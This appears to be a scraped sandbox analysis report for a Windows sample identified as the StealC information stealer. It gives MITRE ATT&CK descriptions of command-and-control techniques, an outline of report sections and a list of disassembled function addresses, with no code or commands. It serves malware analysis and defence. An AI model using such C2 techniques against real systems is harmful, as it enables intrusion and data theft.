Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00E59860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00E445C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00E44880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00E59C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00E46280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00E55510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 00E517A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00E57500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Function 00E569F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00E41220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00E56AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 00E447B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 00E551F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON